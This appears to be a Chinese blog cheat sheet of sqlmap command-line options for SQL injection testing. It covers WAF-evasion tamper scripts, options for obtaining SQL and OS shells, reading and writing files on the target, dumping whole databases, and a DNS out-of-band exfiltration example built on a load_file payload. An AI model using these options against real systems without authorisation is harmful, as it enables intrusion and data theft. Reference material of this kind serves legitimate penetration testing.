常用选项

-u "url" #指定要测试的 URL,对要检测的参数后面加上 *,就只检测加了星号的参数。
-p 参数名 #指定要测试的参数名。
-r file_name #常常用于检测 POST 包,对要检测的参数可以加上 *,这样只检测加了星号这个位置。
-m file_name #批量测试 file_name 中的 URL
--data="par=value" #一般用来对指定 POST 参数进行检测,GET 也可以使用。
--cookie="key=value; key2=value" #指定 cookie 做身份认证。
--method=METHOD #有些网站用 PUT 传输数据,这时候你就要指定方法了。
--random-agent #访问 URL 会带上默认 UA sqlmap/x.x-dev-xxxx,使用的是 /usr/share/sqlmap/txt/user-agents.txt。
--user-agent="x" #自定义一个 UA。
--mobile #把 User-Agent 设为手机
--referer="Referer value" #设置请求头 referer 值,有些站点没有 referer 不让你访问。
--batch #所有操作采用默认选项,不需要输入YES/NO。
--timeout=30.1 #用来指定多长时间没有返回信息就算超时,默认值为 30s,超时后默认重试 3 次,用 --retries=x 来设置重试次数。
--delay=1.5 #每个 http 请求间隔 1.5 秒发送,默认不延迟。
--threads=1 #设置线程(并发),默认是 1。
--second-url="url" #有时注入的结果显示在别的页面(二阶注入的一种),让 sqlmap 去指定页面查看结果。
--csrf-token= #在 POST 方式提交时遇到 Token 问题,可以查一下用法。
--csrf-url= #指定获得 Token 页面。
--level #默认为 1
        #level>=2检测请求包cookie字段是否存在注入。
        #level>=3检测请求包user-agent、Referer字段是否存在注入。
        #level=5检测包中host字段是否存在注入,另外这个等级还会打更多Payload。
--risk #默认为1
        #--risk=2 添加了基于 Time 的 SQL 注入
        #--risk=3 会使用 or 语句注入,如果目标语句用的是 UPDATE 语句,可能会导致所有数据被更改
--dbms=db_name #指定数据库,就不用浪费时间让 sqlmap 检测。
--prefix=x #给Payload加前缀
--suffix=x #给Payload加后缀
--tamper=xxx.py #在/usr/share/sqlmap/tamper/下调用脚本,可以用来绕狗。
--technique=TECH #默认是BEUSTQ全用。用--technique ES来指定用那些检测方法。
            #B:Boolean-based-blind(布尔型)
            #E:Error-based(报错型)
            #U:Union-query-based(联合查询)
            #S:Stacked-queries(多语句查询)
            #T:Time-based-blind(时间延迟)
            #Q:Inline-queries(嵌套查询)
--time-sec=5 #用来设置时间延迟注入中延迟多久,默认值是 5 秒
--sql-shell #获取 SQL-SHELL 来执行 sql语句
--os-shell #获取一个系统 shell 执行系统命令
--file-read=path/x #读取对方系统上的文件
--file-write=path/x #指定要写入到对方的本地文件
--file-dest= #指定写入到对方那个路径下
--dns-domain=DNS #ceye.io提高盲注效率
        #通过将 DNS 服务器的解析日志得到注入数据。以 MySQL 为例
        #select load_file(concat(select database(),as2.qq.com))盲注到的数据和 --dns-domain 指定的域名拼接起来得到dvwa.as2.qq.com,mysql 发送一个 DNS 解析请求,
        #通过本地 DNS 以递归的方式找到一个 DNS 服务器查询这个域名 A 记录,并且在日志留下 dvwa.as2.qq.com 查询记录。
        #首先 DNS 服务器你能控制,另外 DNS 上要有对应解析记录。
        #黑皮书 230 页-使用外带通道

拿数据

--dbs #查数据库。
--tables #查表,第一个字母大写 -D 用来指定数据库。
--columns #查列,第一个字母大写 -T 用来指定数据表。
--is-dba #检测当前用户是否为 DBA 权限。
--user #获取当前数据库用户
-D databases_name -T table_name,table_name -C column,column --dump #脱数据
--dump-all #导出所有数据库里表的内容

杂项

-v #显示输出信息详细级别
     #-v 3 显示注入 payload,包含前面 2 和 1 级别的信息。
--param-del #当参数中默认分隔符不是 &,就可以用这个选项去定义分隔符。    
        sqlmap -u "https://www.baidu.com/index.php" --data="id=1;book=2" --param-del=";"
--purge #安全的删掉.sqlmap/output/下所有内容
--cleanup #清除~/.sqlmap/内容

--headers="字段:值\n字段:值\n"  #字段是大小写敏感的,多个字段用\n进行换行。
--referrer=""  #用于设置 referrer 头的值。
--method=GET/POST  #强制指定那种方法发送请求。
--force-ssl  #用 HTTPS 跟 URL 进行连接。
--param-del  #当参数中默认分隔符不是 &,就可以用这个选项去定义分隔符,一般不会改这个内容。
--safe-url/--safe-freq
    --safe-url="http://xxxx.com/?id=1" --safe-freq="5"
    每次发送 5 次注入请求后,发一次正常请求,因为检测时会有大量请求发向服务端,产生的过多错误,服务端可能销毁session,你就失去登录凭证,无法进行登陆后页面的扫描。
--csrf-token/--csrf-url #使用 --csrf-token=字段名,sqlmap 会在页面上找到这个字段对应的 token 值,而 --csrf-url 可以结合 burpsuite 来绕 token。

代理
--proxy="http://addr:port"  #进行代理。
--proxy-cred="name:pass"  #有些代理需要验证,这里是验证身份。
--ignore-proxy  #忽略系统代理,避免转发外网服务器无法扫描,通常用于内网检测。

参考链接

标签: none

讨论讨论讨论!